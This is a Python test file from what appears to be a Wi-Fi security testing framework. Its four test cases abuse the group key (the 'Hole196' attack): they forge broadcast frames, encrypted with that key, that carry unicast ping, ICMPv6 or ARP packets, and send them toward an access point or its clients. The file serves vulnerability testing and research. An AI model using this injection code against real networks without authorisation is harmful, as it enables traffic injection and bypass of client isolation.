Repository navigation
Expand file tree
/
Copy pathtest-groupkey.py
More file actions
268 lines (202 loc) · 10.2 KB
/
Copy pathtest-groupkey.py
File metadata and controls
268 lines (202 loc) · 10.2 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
# Import dependencies and libraries.
from dependencies.libwifi.wifi import *
from library.testcase import Trigger, Action, Test
from dependencies.libwifi.crypto import encrypt_ccmp
class GroupToAp(Test):
"""Send a group-addressed frame towards the AP. Tested against RT-AC51U running Padavan firmware."""
name = "group-tods"
kind = Test.Supplicant
def __init__(self):
"""Initialization of the sequential actions defining the test case."""
super().__init__([
# First get an IP so we can easily test the attack.
Action(trigger=Trigger.Connected, action=Action.GetIp),
# After that inject unicast ICMP ping in multiple broadcast frames.
Action(trigger=Trigger.Connected, action=Action.Function),
# Monitor for ICMP ping replies to our IP address.
Action(trigger=Trigger.NoTrigger, action=Action.Receive),
# Stop the test case once a reply has been received.
Action(trigger=Trigger.Received, action=Action.Terminate)
])
def inject_as_group(self, station):
# Against the RT-AC51U addr3 had to be the BSS for encrypted frames. This means at the Ethernet
# layer the AP will process the frame. And at the IP layer the frame is then forwarded to the client.
# (Strangely, with plaintext frames addr3 could be the final destination. Might be due to how the
# AP looks for the key that must be used to decrypted it? Or are clients directly process the
# plaintext frame in that case?)
header = station.get_header()
header.addr1 = "ff:ff:ff:ff:ff:ff"
header.addr2 = station.mac
header.addr3 = station.bss
# Using a non-default TID means there's a higher chance that the Packet Number is still valid
header.TID = 2
# Another extra measure to make sure the Packet Number will be valid
station.gtk_seq += 50
# We need to set to-DS so the AP *might* process broadcast frames. This also prevents clients
# from directly processing the broadcast frames (we want clients to ignore the inject frame
# because we are testing the AP!).
header.FCfield = "to-DS"
# FIXME: Take into account the actual netmask of the network
ipaddr = station.peerip.split(".")
for i in range(1, 255):
ipaddr[3] = str(i)
frame = header/LLC()/SNAP()/IP(src=station.ip, dst=".".join(ipaddr))/ICMP()/Raw(b"icmp_ping_test")
if i == 1:
log(STATUS, "Will inject encrypted frames of the form: " + repr(frame))
# FIXME: The framework doesn't disable hardware encryption, is this an issue?
frame = encrypt_ccmp(frame, station.gtk, station.gtk_seq, keyid=station.gtk_idx)
station.inject_mon(frame)
station.gtk_seq += 5
log(STATUS, f"Done injecting. Used GTK={station.gtk} with last PN={station.gtk_seq}")
def receive(self, station, frame):
if ICMP in frame and frame[IP].dst == station.ip and frame[ICMP].type == 0 \
and b"icmp_ping_test" in raw(frame):
log(STATUS, f"Received frame: " + repr(frame))
log(STATUS, "Got an ICMP reply!", color="green")
return True
def generate(self, station):
"""Generate the test case by configuring the defined actions."""
self.actions[1].set_function(self.inject_as_group)
self.actions[2].set_receive(self.receive, eth=True)
self.actions[3].set_terminate(delay=1)
class GroupToClient(Test):
"""Send a unicast ICMP ping inside a broadcast data frame."""
name = "group-hole196"
kind = Test.Authenticator
def __init__(self):
"""Initialization of the sequential actions defining the test case."""
super().__init__([
# Wait on the supplicant to get an IP address.
Action(trigger=Trigger.Connected, action=Action.GetIp),
# After that inject unicast ICMP ping in multiple broadcast frames.
Action(trigger=Trigger.Connected, action=Action.Function),
# Monitor for ICMP ping replies to our IP address.
Action(trigger=Trigger.NoTrigger, action=Action.Receive),
# Stop the test case once a reply has been received.
Action(trigger=Trigger.Received, action=Action.Terminate)
])
def inject_as_group(self, station):
frame = Ether(dst="ff:ff:ff:ff:ff:ff", src=station.mac)/IP(src=station.ip, dst=station.peerip)/ICMP()/Raw(b"icmp_ping_test")
log(STATUS, "Injecting frame: " + repr(frame))
for i in range(6):
station.inject_eth(frame)
# Against some devices we need to be fast with sending the frame, to assure it
# arrives before the client enters sleep mode. Against others we need to be slow,
# to assure it has configured the IP address first. This sleep provides a balance
# between injecting fast and also slow. Since group-addressed frames don't get
# ACK'ed/retransmitted, sending it multiple times also increases reliability.
time.sleep(i * 0.1)
self.inject_as_group_manual(station)
log(STATUS, f"Done injecting. Used GTK={station.gtk} with PN={station.gtk_seq}")
def inject_as_group_manual(self, station):
"""This is to demonstrate and confirm the usage of the GTK as the AP"""
header = station.get_header()
header.addr1 = "ff:ff:ff:ff:ff:ff"
header.addr2 = station.mac
header.addr3 = "ff:ff:ff:ff:ff:ff"
header.FCfield = "from-DS"
# Using a non-default TID means there's a higher chance that the Packet Number is still valid
header.TID = 2
# Another extra measure to make sure the Packet Number will be valid
station.gtk_seq += 50
frame = header/LLC()/SNAP()/IP(src=station.ip, dst=station.peerip)/ICMP()/Raw(b"icmp_ping_test")
frame = encrypt_ccmp(frame, station.gtk, station.gtk_seq, keyid=station.gtk_idx)
log(STATUS, "Injecting frame: " + repr(frame))
# Inject multiple times because broadcast frames don't get acked/retransmitted
for i in range(5):
station.inject_mon(frame)
def receive(self, station, frame):
if ICMP in frame and frame[IP].dst == station.ip and frame[ICMP].type == 0 \
and b"icmp_ping_test" in raw(frame):
log(STATUS, f"Received frame: " + repr(frame))
log(STATUS, "Got an ICMP reply!", color="green")
return True
def generate(self, station):
"""Generate the test case by configuring the defined actions."""
self.actions[1].set_function(self.inject_as_group)
self.actions[2].set_receive(self.receive, eth=True)
self.actions[3].set_terminate(delay=1)
class GroupToClientArp6(Test):
"""Send a unicast ARP packet inside a broadcast data frame."""
name = "group-hole196-ipv6"
kind = Test.Authenticator
def __init__(self):
"""Initialization of the sequential actions defining the test case."""
super().__init__([
# Wait on the supplicant to get an IP address.
Action(trigger=Trigger.Connected, action=Action.GetIp6),
# After that inject unicast ICMP ping in multiple broadcast frames.
Action(trigger=Trigger.Connected, action=Action.Function),
# Monitor for ICMP ping replies to our IP address.
Action(trigger=Trigger.NoTrigger, action=Action.Receive),
# Stop the test case once a reply has been received.
Action(trigger=Trigger.Received, action=Action.Terminate)
])
def inject_as_group(self, station):
frame = Ether(dst="ff:ff:ff:ff:ff:ff", src=station.mac) \
/ IPv6(src=station.ip, dst=station.peerip) \
/ ICMPv6EchoRequest() \
/ Raw(b"icmp_ping_test")
log(STATUS, "Injecting frame: " + repr(frame))
for i in range(6):
frame[ICMPv6EchoRequest].id = i
station.inject_eth(frame)
# Against some devices we need to be fast with sending the frame, to assure it
# arrives before the client enters sleep mode. Against others we need to be slow,
# to assure it has configured the IP address first. This sleep provides a balance
# between injecting fast and also slow. Since group-addressed frames don't get
# ACK'ed/retransmitted, sending it multiple times also increases reliability.
time.sleep(i * 0.1)
log(STATUS, f"Done injecting, encapsulation and encryption was offloaded to kernel")
def receive(self, station, frame):
if ICMPv6EchoReply in frame and frame[IPv6].dst == station.ip \
and b"icmp_ping_test" in raw(frame):
log(STATUS, f"Received frame: " + repr(frame))
log(STATUS, "Got an ICMP reply!", color="green")
return True
def generate(self, station):
"""Generate the test case by configuring the defined actions."""
self.actions[1].set_function(self.inject_as_group)
self.actions[2].set_receive(self.receive, eth=True)
self.actions[3].set_terminate(delay=1)
class GroupToClientArp(Test):
"""Send a unicast ARP packet inside a broadcast data frame."""
name = "group-arp-unicast"
kind = Test.Authenticator
def __init__(self):
"""Initialization of the sequential actions defining the test case."""
super().__init__([
# Wait on the supplicant to get an IP address.
Action(trigger=Trigger.Connected, action=Action.GetIp),
# After that inject unicast ICMP ping in multiple broadcast frames.
Action(trigger=Trigger.Connected, action=Action.Function),
# Monitor for ICMP ping replies to our IP address.
Action(trigger=Trigger.NoTrigger, action=Action.Receive),
# Stop the test case once a reply has been received.
Action(trigger=Trigger.Received, action=Action.Terminate)
])
def inject_as_group(self, station):
frame = Ether(dst="ff:ff:ff:ff:ff:ff", src=station.mac) \
/ARP(hwsrc=station.mac, psrc=station.ip, hwdst=station.peermac, pdst=station.peerip)
log(STATUS, "Injecting frame: " + repr(frame))
for i in range(6):
station.inject_eth(frame)
# Against some devices we need to be fast with sending the frame, to assure it
# arrives before the client enters sleep mode. Against others we need to be slow,
# to assure it has configured the IP address first. This sleep provides a balance
# between injecting fast and also slow. Since group-addressed frames don't get
# ACK'ed/retransmitted, sending it multiple times also increases reliability.
time.sleep(i * 0.1)
log(STATUS, f"Done injecting, encapsulation and encryption was offloaded to kernel")
def receive(self, station, frame):
if ARP in frame and frame[ARP].op == 2 \
and frame[ARP].hwsrc == station.peermac and frame[ARP].psrc == station.peerip \
and frame[ARP].hwdst == station.mac and frame[ARP].pdst == station.ip:
log(STATUS, f"Received frame: " + repr(frame))
log(STATUS, "Got an ARP reply!", color="green")
return True
def generate(self, station):
"""Generate the test case by configuring the defined actions."""
self.actions[1].set_function(self.inject_as_group)
self.actions[2].set_receive(self.receive, eth=True)
self.actions[3].set_terminate(delay=1)